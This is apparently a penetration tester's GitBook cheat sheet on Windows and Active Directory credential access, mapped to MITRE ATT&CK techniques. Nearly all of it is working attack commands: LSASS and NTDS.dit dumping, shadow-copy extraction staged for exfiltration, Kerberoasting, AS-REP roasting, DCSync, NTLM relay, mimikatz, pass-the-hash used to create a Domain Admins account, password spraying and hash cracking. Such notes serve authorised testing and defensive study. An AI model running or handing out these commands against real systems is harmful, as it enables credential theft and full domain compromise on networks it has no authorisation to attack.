> For the complete documentation index, see [llms.txt](https://burmat.gitbook.io/security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burmat.gitbook.io/security/hacking/domain-exploitation/credential-access.md). Agents can also search and read this documentation through its [MCP server](https://burmat.gitbook.io/security/~gitbook/mcp).

# Credential Access (TA0006)

The adversary is trying to steal account names and passwords. https\://attack.mitre.org/tactics/TA0006/

## SecureString to Plaintext - T1552.001

{% code overflow="wrap" fullWidth="false" %}

```powershell
$SecPass = "<SECURE PASS STRING>" | ConvertTo-SecureString; 
(New-Object System.Management.Automation.PSCredential "N/A", $SecPass).GetNetworkCredential().Password; 
```

{% endcode %}

## Passwords in Description - T1552.001

`ActiveDirectory` Module

{% code overflow="wrap" fullWidth="false" %}

```powershell
Get-ADUser -Filter 'Description -like "*password*"' -Properties Description | select name,Description
```

{% endcode %}

Using `PowerView.ps1` GitHub: <https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1>

{% code fullWidth="false" %}

```powershell
Find-UserField -SearchField Description -SearchTerm "password"
```

{% endcode %}

## Volume Shadow Creation - T1003.003

Source: <https://www.picussecurity.com/resource/blog/t1047-windows-management-instrumentation-of-the-mitre-attack-framework>

{% code overflow="wrap" %}

```powershell
# creating volume shadow copy
wmic /node:"[AD_IP_address]" /user:"[username]" /password:"[password]" process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

# copying NTDS.dit, SYSTEM and SECURITY files from shadow copy
wmic /node:"[AD_IP_address]" /user:"[username]" /password:"[password]" process call create "cmd /c copy \\[shadow_copy_dir]\\Windows\\NTDS\\NTDS.dit [target_folder] & copy \\[shadow_copy_dir]\\Windows\\System32\\config\\SYSTEM [target_folder] & copy \\[shadow_copy_dir]\\Windows\\System32\\config\\SECURITY [target_folder]"

# compressing files for exfiltration
7za.exe a -mx3 nt.7z \\\\[AD_IP_address]\\c$\\[target_folder]
```

{% endcode %}

## Stored Credential Enumeration - T1555.003

You can use `cmdkey` command or the `keymgr.dll` (requires GUI) to list out stored credentials. Additionally, you can use the output in a `runas` command to authenticate.

Listing saved credentials:

`cmdkey /list`

Listing saved credentials in a desktop environment:

`rundll32.exe keymgr.dll, KRShowKeyMgr`

Using saved credentials:

`runas /savecred /user:jsmith cmd.exe`

## Dumping LSASS with `rundll32.exe` - T1003.001

Same behavior that would occur if you `Right-Clicked` the process in Task Manager and dump LSASS manually.

{% code overflow="wrap" %}

```powershell
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 624 C:\temp\lsass.dmp full
```

{% endcode %}

## Memory Dump with `Get-StorageDiagnosticInfo` - T1003.001

Source: <https://x.com/0gtweet/status/1440255495797764108> <https://docs.microsoft.com/en-us/powershell/module/storage/get-storagediagnosticinfo?view=windowsserver2019-ps>

{% code overflow="wrap" %}

```powershell
$fname = Get-StorageSubSystem | Select -Property FriendlyName
Get-StorageDiagnosticInfo -StorageSubSystemFriendlyName $fname -IncludeLiveDump -DestinationPath C:\
```

{% endcode %}

## Mount VHD, pull SAM - T1003.002

```powershell
guestmount --add GoldenWindows11x64.vhdx --inspector --ro -v /mnt
cd /mnt/Windows/System32/config
cp SAM SYSTEM /root && cd /root && guestunmount /mnt
secretsdump.py -sam /root/SAM -system /root/SYSTEM local
```

## Targeted Kerberoasting with PowerSploit - T1558.003

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell"><strong>Get-DomainUser 'victimuser' | Select serviceprincipalname
</strong>Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='nonexistent/BLAHBLAH'}

# Obtain a kerberoast hash to crack
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | fl

# Clear the SPNs of the target account
$User | Select serviceprincipalname
Set-DomainObject -Identity victimuser -Clear serviceprincipalname
</code></pre>

## Dumping NTDS with `ntdsutil.exe` - T1003.003

{% code overflow="wrap" %}

```powershell
powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"
```

{% endcode %}

## DSInternals - T1003.003

DSInternals found here: <https://github.com/MichaelGrafnetter/DSInternals>

### DCSync with `Get-ADReplAccount` - T1003.006

Credit to [@Mastadon](https://x.com/__Mastadon).

{% code overflow="wrap" %}

```powershell
Get-ADReplAccount -Server <DC FQDN> -All | Where { $_.Enabled -eq $True} | Format-Custom -View PwDump | tee hashes.ntds ; if($?) {cat .\hashes.ntds | select-string -NotMatch '\$', '\$DUPLICATE', 'IWAM_', 'IUSR_', 'ASPNET', 'HelpAssistant', 'SUPPORT_', 'Guest', 'DefaultAccount', 'HealthMailbox' |%{$_.Line.Trim()} | ? {$_.Trim() -ne "" }| Sort | Get-Unique | Out-File -encoding ASCII hashes_sorted.txt}
```

{% endcode %}

### Extracting from NTDS, SYSTEM, SECURITY

You may have to modify the following registry key:

* `HKLM\\System\\CurrentControlSet\\Control\\Lsa\\FipsAlgorithmPolicy and set "Enabled" to 0`

{% code overflow="wrap" %}

```powershell
Install-Module DSInternals; 
Import-Module DSInternals;

$key = Get-BootKey -SystemHivePath '.\registry\SYSTEM';
Get-ADDBAccount -DistinguishedName 'CN=krbtgt,CN=Users,DC=burmat,DC=local' -DBPath '.\Active Directory\ntds.dit' -BootKey $key;
```

{% endcode %}

## Extracting NTDS with `ntdsutil.exe` - T1003.003

{% code overflow="wrap" %}

```powershell
C:\> ntdsutil
ntdsutil: activate instance ntds
ntdsutil: ifm
ifm: create full c:\pentest
ifm: quit
ntdsutil: quit
```

{% endcode %}

## Impacket

### GetUserSPNs.py - T1558.003

Kerberoasting

{% code overflow="wrap" %}

```sh
GetUserSPNs.py -request -dc-ip 10.10.10.123 burmat.local/xsvc:S3cur3PW123
```

{% endcode %}

### GetNPUsers.py - T1558.004

AS-REP Roasting - Attempt to get TGTs for users that have `UF_DONT_REQUIRE_PREAUTH` set:

{% code overflow="wrap" %}

```bash
GetNPUsers.py -request -no-pass -dc-ip 10.10.10.123 burmat.local/ -usersfile users.txt
```

{% endcode %}

### secretsdump.py

Using secretsdump to steal credentials.

#### Extracting Credentials Remotely

{% code overflow="wrap" %}

```bash
secretsdump.py -just-dc-ntlm burmat.local/administrator@10.10.10.123
```

{% endcode %}

#### Offline NTDS Cracking

```
secretsdump.py -ntds ./ntds.dit -system SYSTEM LOCAL -output dump.ntds -user-status
```

### Resetting Credentials with smbpasswd.py

Reset a password if you have the credentials but it is expired. Useful if you have a hash and no pw, too.

{% code overflow="wrap" %}

```bash
smbpasswd -r 10.0.0.12 -U 'burmat'
```

{% endcode %}

## NetExec

GitHub repo: <https://github.com/Pennyw0rth/NetExec>

### Pass-the-Hash - T1550.002

Because hashes are just as good:

{% code overflow="wrap" %}

```sh
# create a user
nxc smb 10.10.10.123 -u 'administrator' -d 'burmat.local' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net user burmat Pwn3dPwn3d! /add /domain'

# add to domain admins
nxc smb 10.10.10.123 -u 'administrator' -d 'burmat.local' -H 'd7452863d1e8e15241nn50ceb1ab9dfe' -x 'net group "Domain Admins" /add burmat /domain'
```

{% endcode %}

### SMB Password Spraying - T1110.003

Switch out usernames/passwords/targets with lists:

{% code overflow="wrap" %}

```bash
## to spray that Spring2024! and a list of users against a list of targets:
nxc smb 'targets.txt' -u 'users.txt' -p 'Spring2024!' -d 'burmat.local'
```

{% endcode %}

### Dumping Remote PowerShell History - T1552.003

{% code overflow="wrap" %}

```bash
nxc smb 10.250.1.33 -u 'dev001' -p 'burmat123$' -d 'burmat.local' -M powershell_history
```

{% endcode %}

### Extracting Credentials

{% code overflow="wrap" %}

```bash
## mimikatz module
nxc smb 10.10.10.123 -u 'administrator' -d 'burmat.local' -p 'S3cur3PW123' -M mimikatz -o COMMAND='privilege::debug'

## SAM database
nxc smb 10.10.10.123 -u 'administrator' -d 'burmat.local' -p 'S3cur3PW123' --sam
```

{% endcode %}

## Relaying to DCSync - T1003.006

{% code overflow="wrap" %}

```sh
ntlmrelayx.py -t DCSYNC://172.16.1.200 -smb2support -debug
python3 dementor.py -d burmat.local -u jsmith -p 'S3cur3PASS123$' 10.10.1.141 172.16.1.23 -debug
```

{% endcode %}

## MSSQL Master DB Hash Extraction - T1003

Thanks @mhurts for linking me to this: <https://github.com/xpn/Powershell-PostExploitation/tree/master/Invoke-MDFHashes>

Add this to the top of the script to load the DLLs

```powershell
Try {
    $currentLocation = Get-Location
    [Reflection.Assembly]::LoadFile($currentLocation.Path + "\\OrcaMDF.RawCore.dll") | Out-Null
    [Reflection.Assembly]::LoadFile($currentLocation.Path + "\\OrcaMDF.Framework.dll") | Out-NUll
} Catch {
    Write-Host "Could not load OrcaMDF libraries, please make sure that you run Import-Module from the dir containing OrcaMDF.RawCore.dll and OrcaMDF.Framework.dll"
}
```

Extract

<pre class="language-powershell"><code class="lang-powershell"><strong>Get-MDFHashes -mdf "C:\temp\master.mdf"
</strong></code></pre>

Crack

```sh
hashcat -m 1731 hashes.txt ./wordlists/cyclone_hk_v2.txt -r ./rules/clem9669_medium.rule -w4 -O --session burmat
```
